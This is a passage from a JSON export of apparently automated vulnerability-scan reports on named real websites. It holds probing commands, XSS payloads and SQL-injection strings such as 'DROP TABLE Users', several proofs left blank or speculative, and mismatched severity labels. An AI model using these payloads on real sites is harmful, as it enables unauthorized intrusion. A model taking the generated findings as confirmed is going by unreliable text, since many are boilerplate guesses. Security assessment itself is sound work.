` contents.\n\n**Business Impact**\nFragmented sitemap delivery hampers unified crawling strategies and introduces ambiguity in content governance.\n\n---\n\n#### User Agent Fuzzer / robots.txt\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/robots.txt |\n\n**Description**\nResponses differ when querying `robots.txt` with various User-Agents, implying rule customization per crawler identity. Misconfigurations here can result in unintended exclusions or exposures.\n\n**Attack Scenario (Proof of Concept)**\nCustomized rules served to specific bots:\n```txt\nUser-agent: Googlebot\nDisallow: /private/\n\nUser-agent: *\nAllow: /\n```\nManual override bypasses general restrictions.\n\n**Business Impact**\nMisaligned robot directives affect crawl permissions and expose unintended directories to automated scanners.\n\n---\n\n#### User Agent Fuzzer / Images Directory\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/Images |\n\n**Description**\nAccessing the `/Images` directory with altered User-Agent strings results in differing directory listings or file availability. This inconsistency may point to environment-specific deployments or legacy configurations.\n\n**Attack Scenario (Proof of Concept)**\nDirectory listing enabled only for mobile UAs:\n```bash\ncurl -H \"User-Agent: Android Browser\" https://www.cert-in.org.in/Images/\n```\nReturns full index instead of forbidden status.\n\n**Business Impact**\nExposure of directory contents increases risk of discovering backup files, temporary uploads, or development artifacts.","summary":{"total":23}},"summary":{"total":23}},{"_id":{"$oid":"6a1f302ecdcdcbd0a53116bf"},"created_at":{"$date":"2026-06-02T19:34:06.510Z"},"url":"https://onmark.co.in/nmu/","tool":"generate_web_vulnerability_report","result":{"url":"https://onmark.co.in/nmu/","category":"web_vulnerability","timestamp":"2026-06-02T19:34:06.504612+00:00","report":"### [Web Server Manual Found / https://onmark.co.in/nmu/ / /manual/]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description** \nThe presence of `/manual/` indicates that the web server hosts documentation related to its configuration or operation. While not inherently insecure, exposing such directories publicly may provide attackers with insights into the software stack, version numbers, and potential misconfigurations. This information can be leveraged during reconnaissance phases of an attack.\n\n**Attack Scenario (Proof of Concept)** \nAn attacker performs directory brute-forcing using tools like `dirb` or `gobuster`, identifying accessible paths including `/manual/`. Upon visiting the path, they discover detailed documentation about the server environment, potentially revealing outdated modules or insecure configurations.\n\nExample command:\n```bash\ngobuster dir -u https://onmark.co.in/nmu/ -w /path/to/wordlist.txt\n```\n\n**Business Impact** \nExposure of internal documentation increases the attack surface by providing adversaries with contextual knowledge about the system architecture. Although no direct exploitation occurs, this contributes to targeted attacks and reduces the effort required for successful compromise.\n\n---\n\n### [Directory Indexing Found / https://onmark.co.in/nmu/ / /manual/images/]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description** \nDirectory indexing allows users to list all files within a given directory if no index file is present. In this case, accessing `/manual/images/` reveals a browsable list of image resources. This exposes filenames, versions, and possibly sensitive artifacts inadvertently left behind.\n\n**Attack Scenario (Proof of Concept)** \nAn attacker navigates directly to `https://onmark.co.in/nmu/manual/images/` and observes a directory listing containing multiple files. They download these assets to analyze metadata or search for hardcoded credentials, development notes, or legacy components indicating vulnerabilities.\n\nSample browser access:\n```\nGET /manual/images/\nHost: onmark.co.in\n```\n\nResponse includes:\n```html\n\nlogo.png 2024-01-01 12:00\ndev_notes.txt 2023-12-15 10:30\n \n```\n\n**Business Impact** \nSensitive project-related files might be exposed unintentionally, leading to unauthorized access to intellectual property, developer comments, or staging/test environments. Attackers can use this data to refine targeting strategies or exploit weak points in the infrastructure.\n\n---\n\n### [Apache Default File Found / https://onmark.co.in/nmu/ / /icons/README]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description** \nThe presence of `/icons/README` suggests that default Apache installation files remain accessible. These files often contain version-specific details or references to other default paths, which can aid fingerprinting efforts and expose unnecessary information about the server setup.\n\n**Attack Scenario (Proof of Concept)** \nBy requesting `https://onmark.co.in/nmu/icons/README`, an attacker retrieves the contents of the README file, which typically contains Apache version info and usage instructions. Using this, they correlate known vulnerabilities associated with that specific version.\n\nRequest:\n```http\nGET /icons/README HTTP/1.1\nHost: onmark.co.in\n```\n\nResponse excerpt:\n```\nApache HTTP Server Documentation Project\nVersion 2.4.x\n...\n```\n\n**Business Impact** \nRevealing server version details facilitates targeted exploitation attempts based on known CVEs tied to those versions. It also signals poor hardening practices, increasing confidence among attackers regarding further exploration opportunities.\n\n---\n\n### [Deprecated X-Frame-Options Header / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description** \nThe `X-Frame-Options` header has been superseded by the more flexible `Content-Security-Policy` (CSP) with the `frame-ancestors` directive. Its continued use implies outdated security posture and may leave applications vulnerable to clickjacking unless properly configured.\n\n**Attack Scenario (Proof of Concept)** \nAn attacker creates a malicious iframe embedding the vulnerable page at `https://onmark.co.in/nmu/`. Since there's no modern CSP protection, the embedded content renders normally, enabling UI redressing attacks where victims unknowingly interact with disguised elements.\n\nMalicious HTML snippet:\n```html\n\n```\n\n**Business Impact** \nWithout proper framing controls, attackers can trick users into performing unintended actions—such as submitting forms or clicking buttons—within the context of their authenticated sessions, resulting in account takeovers or fraudulent transactions.\n\n---\n\n### [Missing X-Content-Type-Options Header / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description** \nThe absence of the `X-Content-Type-Options: nosniff` header allows browsers to perform MIME sniffing, interpreting content differently than intended. This behavior can lead to XSS when untrusted input is rendered as executable code due to incorrect type inference.\n\n**Attack Scenario (Proof of Concept)** \nSuppose an attacker uploads a file named `exploit.jpg` that actually contains JavaScript. Without the `nosniff` header, the browser interprets it as script rather than image content upon retrieval, executing arbitrary code under the domain’s origin.\n\nSample upload payload:\n```js\nalert(document.cookie);\n```\n\nUploaded via form submission and later accessed via:\n```\nGET /uploads/exploit.jpg HTTP/1.1\nHost: onmark.co.in\n```\n\nIf interpreted as JS, triggers alert box showing cookies.\n\n**Business Impact** \nEnables bypasses of content restrictions, facilitating stored/persistent XSS scenarios even when file extensions appear benign. Can result in session hijacking, credential theft, or phishing campaigns leveraging trusted domains.\n\n---\n\n### [Missing Anti-clickjacking Header / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description** \nLack of anti-clickjacking protections enables embedding of the application inside frames controlled by third parties. This vulnerability supports UI redressing attacks where user interactions occur without awareness, compromising confidentiality and integrity.\n\n**Attack Scenario (Proof of Concept)** \nAttacker crafts a phishing page hosting an invisible overlay over legitimate buttons on the framed site (`https://onmark.co.in/nmu/`). When clicked, victims believe they’re interacting with visible interface elements while triggering unintended actions like transferring funds or changing settings.\n\nHTML example:\n```html\n\n\nClick Me \n\n```\n\n**Business Impact** \nLeads to unauthorized transactions, social engineering exploits, and reputational harm stemming from compromised user trust. Particularly impactful for financial services or administrative portals handling sensitive operations.\n\n---\n\n### [Content Security Policy (CSP) Header Not Set / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description** \nAbsence of a Content Security Policy (CSP) leaves the application open to various client-side injection flaws, particularly reflected/stored XSS. CSP acts as a defense-in-depth mechanism by restricting sources from which scripts, stylesheets, and media can be loaded.\n\n**Attack Scenario (Proof of Concept)** \nA reflected XSS exists in a parameterized query string. Without CSP, injected scripts execute freely in the victim’s browser:\n\nURL:\n```\nhttps://onmark.co.in/nmu/?search=\n```\n\nResultant DOM:\n```html\nYou searched for:
\n```\n\nExecutes immediately in browser.\n\n**Business Impact** \nIncreases likelihood of successful XSS exploitation, enabling session hijacking, keylogging, redirection to malicious sites, and manipulation of displayed content. Critical for protecting both user privacy and organizational reputation.\n\n---\n\n### [Absence of Anti-CSRF Tokens / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description** \nForms lacking anti-CSRF tokens are susceptible to Cross-Site Request Forgery (CSRF), wherein authenticated users unknowingly submit requests crafted by attackers. This bypasses same-origin policy limitations through forged submissions initiated externally.\n\n**Attack Scenario (Proof of Concept)** \nVictim visits attacker-controlled webpage containing auto-submitting form targeting the vulnerable endpoint:\n\n```html\n\n\n```\n\nUpon loading, victim unknowingly changes password to attacker-controlled value.\n\n**Business Impact** \nAllows unauthorized modification of user accounts, privilege escalation, or execution of destructive actions under valid authentication contexts. Especially dangerous in high-privilege areas like admin panels or payment systems.\n\n---\n\n### [Sub Resource Integrity Attribute Missing / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description** \nExternal JavaScript/CSS resources included without Subresource Integrity (SRI) attributes lack cryptographic verification. Should the CDN or external host become compromised, attackers gain full control over frontend logic and presentation layers.\n\n**Attack Scenario (Proof of Concept)** \nAssume jQuery is loaded from a public CDN without SRI:\n```html\n\n```\n\nIf CDN gets hijacked or cache poisoned, attacker injects malicious script replacing original functionality, stealing credentials or manipulating DOM behavior silently.\n\n**Business Impact** \nCompromises front-end integrity, opening pathways for supply chain-based attacks. Users remain unaware of altered scripts running in their browsers, undermining trust and exposing them to persistent surveillance or fraud.\n\n---\n\n### [Vulnerable JS Library (bootstrap.min.js) / https://onmark.co.in/nmu/assets/js/bootstrap.min.js / bootstrap.min.js]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/js/bootstrap.min.js |\n\n**Description** \nUse of outdated or vulnerable JavaScript libraries introduces known weaknesses exploitable remotely. Bootstrap, widely adopted across websites, has historically suffered from XSS, prototype pollution, and event handler injection issues depending on version deployed.\n\n**Attack Scenario (Proof of Concept)** \nUsing scanner output or manual inspection, attacker identifies Bootstrap v3.3.7 being used. Consulting CVE databases reveals CVE-2018-14040 affecting tooltip/popover sanitization functions. Crafting specially designed markup leads to XSS:\n\nPayload:\n```html\n\">Hover me
\n```\n\nTriggers XSS when tooltip activated.\n\n**Business Impact** \nExposes users to XSS risks originating from third-party dependencies. Even minor flaws in popular frameworks can escalate into major breaches once chained with other vulnerabilities.\n\n---\n\n### [Vulnerable JS Library (jquery.min.js) / https://onmark.co.in/nmu/assets/js/jquery.min.js / jquery.min.js]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/js/jquery.min.js |\n\n**Description** \njQuery remains one of the most prevalent client-side libraries globally. Older versions have documented XSS vectors, especially around selector parsing and DOM manipulation routines. Failure to update increases exposure to well-known exploits.\n\n**Attack Scenario (Proof of Concept)** \nIdentify jQuery version 1.11.1 in use. Known vulnerability CVE-2015-9251 affects `.load()` function when passed unsanitized user input. Exploitation proceeds via crafted selectors:\n\nInput:\n```javascript\n$('#container').load('evil.html #\n Enter your password again:Submit \n
\n\n```\n\n**Business Impact** \nHeightened susceptibility to credential harvesting, session fixation, and unauthorized modifications. User-centric interfaces demand stricter protections due to higher-value targets and frequent interaction patterns.\n\n---\n\n### [Content Security Policy (CSP) Header Not Set / https://onmark.co.in/nmu/user / /user]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/user |\n\n**Description** \nUser-specific routes often handle dynamic content rendering and personalized views. Omission of CSP here amplifies risks associated with XSS, especially in interactive features involving rich text inputs or collaborative editing capabilities.\n\n**Attack Scenario (Proof of Concept)** \nProfile update form accepts HTML-like input without escaping. Injected script executes because no CSP blocks inline execution:\n\nInput:\n```html\ntrue
\n```\n\nThis reveals internal flags or roles accessible via DOM manipulation or script injection.\n\n**Business Impact**\n\nExposure of business logic fragments compromises operational secrecy and facilitates targeted exploitation. Internal documentation leakage violates principle of least privilege and increases insider threat vectors.\n\n---\n\n### [Modern Web Application / https://onmark.co.in/nmu/user / https://onmark.co.in/nmu/user]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/user |\n\n**Description**\n\nAs noted earlier, modern web apps depend on rich client-side rendering and asynchronous updates. The `/user` route likely involves dynamic UI generation, lazy loading modules, or reactive data binding—all features requiring intelligent spidering approaches to enumerate comprehensively.\n\nFailure to crawl such interfaces leaves significant portions of the app untested and potentially vulnerable.\n\n**Attack Scenario (Proof of Concept)**\n\nUsing browser automation tools:\n```bash\ncurl -s https://onmark.co.in/nmu/user | grep -oE '/api/[a-zA-Z0-9/_\\-]+' \n```\n\nReveals undocumented API endpoints used internally by frontend logic, expanding attack surface beyond statically mapped URLs.\n\n**Business Impact**\n\nIncomplete coverage leads to undetected vulnerabilities in core user-facing functionalities. Risk grows proportionally with reliance on complex frontends managing sensitive operations like profile editing or financial transactions.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/assets/css / https://onmark.co.in/nmu/assets/css]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/css |\n\n**Description**\n\nFuzzing different User-Agent strings revealed variations in server responses, suggesting adaptive delivery mechanisms or device-specific optimizations. Servers sometimes serve distinct content based on perceived client capabilities, which can introduce inconsistencies in caching, compression, or feature availability.\n\nSuch discrepancies may hint at misconfigured CDN policies, mobile/desktop parity issues, or unintended access control bypasses.\n\n**Attack Scenario (Proof of Concept)**\n\nSending two requests—one simulating desktop and another mobile browser:\n```bash\ncurl -H \"User-Agent: Mozilla/5.0 (Windows NT)\" https://onmark.co.in/nmu/assets/css\ncurl -H \"User-Agent: Mozilla/5.0 (iPhone; iOS)\" https://onmark.co.in/nmu/assets/css\n```\n\nCompare hashes or status codes to detect divergent behavior.\n\n**Business Impact**\n\nBehavioral divergence introduces inconsistency in user experience and creates potential avenues for cache poisoning or selective denial-of-service conditions. Mobile-first design principles demand uniformity regardless of agent string.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/assets / https://onmark.co.in/nmu/assets]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets |\n\n**Description**\n\nSame rationale applies here—responses vary per User-Agent string, possibly due to responsive asset serving or conditional redirects. This behavior warrants deeper investigation to confirm whether alternate versions expose differing levels of access or contain unique vulnerabilities.\n\n**Attack Scenario (Proof of Concept)**\n\nRequesting same directory with varied agents:\n```bash\ncurl -I -H \"User-Agent: Googlebot\" https://onmark.co.in/nmu/assets/\ncurl -I -H \"User-Agent: curl/7.68.0\" https://onmark.co.in/nmu/assets/\n```\n\nObserve differences in `Location`, `Cache-Control`, or `Content-Encoding`.\n\n**Business Impact**\n\nUnintended behavioral shifts undermine consistency guarantees and complicate monitoring efforts. SEO implications arise if crawler-specific variants differ significantly from standard browsing experiences.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu / https://onmark.co.in/nmu]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu |\n\n**Description**\n\nRoot-level fuzzing confirms differential treatment of root path based on User-Agent. This suggests either adaptive routing logic or content negotiation features implemented server-side. Such flexibility enhances usability but requires careful scrutiny to avoid introducing logical flaws.\n\n**Attack Scenario (Proof of Concept)**\n\nTesting with search engine bot:\n```bash\ncurl -H \"User-Agent: Bingbot\" https://onmark.co.in/nmu\n```\n\nMay return structured schema markup or sitemap references absent in regular visitor views.\n\n**Business Impact**\n\nDivergence in root-level presentation impacts both accessibility and SEO performance. Misaligned indexing strategies can skew analytics and degrade organic reach metrics.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/signin / https://onmark.co.in/nmu/signin]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/signin |\n\n**Description**\n\nSign-in pages often adapt layout or functionality according to device type. Detecting variance implies possible mobile-specific login flows or alternative authentication schemes triggered by certain agents.\n\nThese adaptations must undergo equal scrutiny to ensure equivalent security postures across platforms.\n\n**Attack Scenario (Proof of Concept)**\n\nMobile view may omit MFA prompts or display simplified forms:\n```bash\ncurl -H \"User-Agent: Android WebView\" https://onmark.co.in/nmu/signin\n```\n\nCould reveal reduced friction paths exploitable by attackers masquerading as mobile clients.\n\n**Business Impact**\n\nReduced friction equals increased risk. Weaker authentication flows on mobile channels violate principle of consistent identity verification and elevate breach probability.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/assets/images / https://onmark.co.in/nmu/assets/images]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/images |\n\n**Description**\n\nImage directories responding differently to various User-Agents indicate optimized delivery pipelines or format switching (WebP vs JPEG). While beneficial for performance, inconsistent transformations may leak metadata or expose unsupported codecs prone to buffer overflow exploits.\n\n**Attack Scenario (Proof of Concept)**\n\nRequesting image with malformed agent:\n```bash\ncurl -H \"User-Agent: \n Click here to win free gift!\n
\n```\n\nVictim clicks believing they’re interacting with overlay content while actually activating underlying buttons.\n\n**Business Impact**\n\nClickjacking undermines user autonomy and enables social engineering tactics. Financial institutions and e-commerce sites face heightened liability due to transactional deception risks.\n\n---\n\n### [HTTP Strict Transport Security (HSTS) / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nCore landing page lacks HSTS enforcement, leaving room for protocol downgrade attacks. Despite supporting HTTPS, absence of HSTS permits attackers to force insecure connections initially, undermining long-term encryption assurance.\n\nHSTS preload list submissions become impossible without correct configuration.\n\n**Attack Scenario (Proof of Concept)**\n\nInitial visit over HTTP:\n```http\nGET / HTTP/1.1\nHost: onmark.co.in\n```\n\nServer redirects to HTTPS but doesn’t send HSTS header:\n```http\nHTTP/1.1 301 Moved Permanently\nLocation: https://onmark.co.in/\n```\n\nSubsequent visits remain vulnerable to interception until HSTS takes effect.\n\n**Business Impact**\n\nPersistent downgrade risks reduce confidence in encrypted communications. Enterprises seeking PCI compliance or government certifications must enforce HSTS across all domains.\n\n---\n\n### [MIME Type Confusion / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nMissing `X-Content-Type-Options: nosniff` header permits MIME-type sniffing by legacy browsers, potentially interpreting benign content as executable. This flaw primarily affects older clients but retains relevance in mixed-browser environments.\n\nSniffing errors enable XSS payloads embedded in seemingly safe formats like images or stylesheets.\n\n**Attack Scenario (Proof of Concept)**\n\nUploading SVG伪装成图片:\n```xml\n\n```\n\nBrowser interprets as HTML/XML instead of image, executing embedded script.\n\n**Business Impact**\n\nLegacy browser support expands attack footprint unnecessarily. Organizations maintaining backward compatibility must balance convenience with security rigor.","summary":{"total":59}},"summary":{"total":59}},{"_id":{"$oid":"6a255097f3e19ec33bfab1d0"},"created_at":{"$date":"2026-06-07T11:05:59.890Z"},"url":"https://mahait.org/","tool":"generate_web_vulnerability_report","result":{"url":"https://mahait.org/","category":"web_vulnerability","timestamp":"2026-06-07T11:05:59.877604+00:00","report":"# Web Vulnerabilities\n\n## Critical Findings\n\nNone.\n\n## High Findings\n\n### Internal Server Error / mahait.org / ArchiveSection/ArchiveNewsList?sort\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/ArchiveSection/ArchiveNewsList |\n\n**Description** \nA 500 Internal Server Error was triggered when injecting a payload into the `sort` GET parameter on the `/ArchiveSection/ArchiveNewsList` endpoint. This indicates that the application fails to gracefully handle unexpected input, leading to unhandled exceptions or improper validation logic within backend processing routines. Such behavior may expose stack traces or internal system information if verbose error reporting is enabled.\n\n**Attack Scenario (Proof of Concept)** \nAn attacker can send a crafted request with invalid or malformed values in the `sort` parameter:\n\n```http\nGET /ArchiveSection/ArchiveNewsList?sort=' OR 1=1-- HTTP/1.1\nHost: mahait.org\n```\n\nIf verbose errors are returned, they might reveal database query syntax, framework details, or even source code paths—information useful for further exploitation such as SQL injection or remote code execution.\n\n**Business Impact** \nThis vulnerability could lead to service disruptions due to repeated crashes from malformed inputs. Additionally, it provides attackers with insight into the underlying architecture, increasing the risk of targeted attacks like SQLi or path traversal. It also reflects poorly on the organization’s ability to maintain stable services.\n\n---\n\n### Internal Server Error / mahait.org / ArchiveSection/ArchiveNewsList?sortdir\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/ArchiveSection/ArchiveNewsList |\n\n**Description** \nInjecting payloads into the `sortdir` GET parameter resulted in a 500 Internal Server Error. This suggests inadequate input sanitization or lack of proper exception handling during sorting direction parsing. If user-controlled data influences server-side logic without sufficient checks, it may result in runtime failures or exploitable conditions.\n\n**Attack Scenario (Proof of Concept)** \nExample malicious request:\n\n```http\nGET /ArchiveSection/ArchiveNewsList?sortdir=DESC%27 HTTP/1.1\nHost: mahait.org\n```\n\nSuch requests may cause backend systems to fail unexpectedly, potentially revealing sensitive debugging output or triggering denial-of-service scenarios under load.\n\n**Business Impact** \nRepeated exploitation may degrade performance or availability of the affected resource. Attackers may use this as part of reconnaissance efforts to map out weak points in the application's defensive posture.\n\n---\n\n### Internal Server Error / mahait.org / Site/1544/Emergency?format\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/Site/1544/Emergency |\n\n**Description** \nSending anomalous input via the `format` GET parameter caused an internal server error at the specified URL. This implies insufficient validation or incorrect interpretation of content-type parameters by the server-side handler. Improperly handled format strings can lead to buffer overflows, deserialization flaws, or other critical vulnerabilities depending on implementation specifics.\n\n**Attack Scenario (Proof of Concept)** \nMalicious request:\n\n```http\nGET /Site/1544/Emergency?format={invalid_value} HTTP/1.1\nHost: mahait.org\n```\n\nDepending on how the value is processed internally, this could trigger unexpected behaviors including memory corruption or arbitrary code execution risks.\n\n**Business Impact** \nPotential exposure of internal configurations or crash-based DoS against emergency-related pages which should remain highly available. Any instability here undermines public trust and operational continuity.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/Complaint POST __RequestVerificationToken\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/Complaint |\n\n**Description** \nSubmitting an invalid or malformed anti-CSRF token (`__RequestVerificationToken`) led to a 500 response. This reveals poor error handling around security-critical components. While not directly exploitable for CSRF bypass, it exposes potential weaknesses in session management or authentication flows.\n\n**Attack Scenario (Proof of Concept)** \nPOST Request Example:\n\n```http\nPOST /FeedbackText/Complaint HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\n__RequestVerificationToken=&...\n```\n\nThis could be used to test whether tokens are properly validated before proceeding with business logic, possibly uncovering race conditions or incomplete protections.\n\n**Business Impact** \nInconsistent handling of security tokens reduces confidence in form protection mechanisms. It increases the likelihood of successful phishing or automated abuse attempts targeting complaint submission forms.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/FeedbackText POST FName\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/FeedbackText |\n\n**Description** \nInput manipulation in the `FName` field during feedback submission caused a server-side failure. This highlights missing input validation and robustness issues in form-processing pipelines. Unsanitized fields increase susceptibility to injection-style attacks or backend misbehavior.\n\n**Attack Scenario (Proof of Concept)** \nSample Payload:\n\n```http\nPOST /FeedbackText/FeedbackText HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nFName=%27%22%3Cscript%3Ealert(1)%3C/script%3E&...\n```\n\nWhile XSS isn't confirmed, similar payloads often expose deeper parsing flaws that could escalate beyond simple display bugs.\n\n**Business Impact** \nUnreliable form submissions reduce customer engagement and support effectiveness. Persistent instability may deter users from providing valuable feedback, impacting organizational responsiveness and reputation.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/TellUsFriend POST YourName\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/TellUsFriend |\n\n**Description** \nFaulty handling of the `YourName` POST parameter triggered a 500 error. This demonstrates inconsistent validation across different endpoints sharing similar functionality. Insecure coding practices allow malformed data to propagate unchecked through business layers.\n\n**Attack Scenario (Proof of Concept)** \nPayload Injection:\n\n```http\nPOST /FeedbackText/TellUsFriend HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nYourName=John%00Doe&...\n```\n\nNull-byte injection or special character combinations may disrupt downstream processes, especially those interacting with databases or file systems.\n\n**Business Impact** \nInstability in referral-sharing features affects viral marketing strategies and user experience. Repeated failures may indicate broader architectural fragility requiring urgent remediation.\n\n---\n\n### Internal Server Error / mahait.org / WebSiteControls/SiteSerach POST name\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/WebSiteControls/SiteSerach |\n\n**Description** \nImproper handling of search term input (`name`) leads to server-side exceptions. Search functions typically interface with multiple subsystems making them prime targets for amplification or traversal attacks. Lack of resilience here compromises core usability aspects.\n\n**Attack Scenario (Proof of Concept)** \nSearch Query:\n\n```http\nPOST /WebSiteControls/SiteSerach HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nname=*'; DROP TABLE Users; --\n```\n\nEven if direct DB access isn't possible, malformed queries can still overwhelm resources or leak metadata about stored procedures or schema design.\n\n**Business Impact** \nDegraded site navigation impacts SEO rankings and visitor retention. Vulnerable search interfaces pose significant risks given their frequent usage 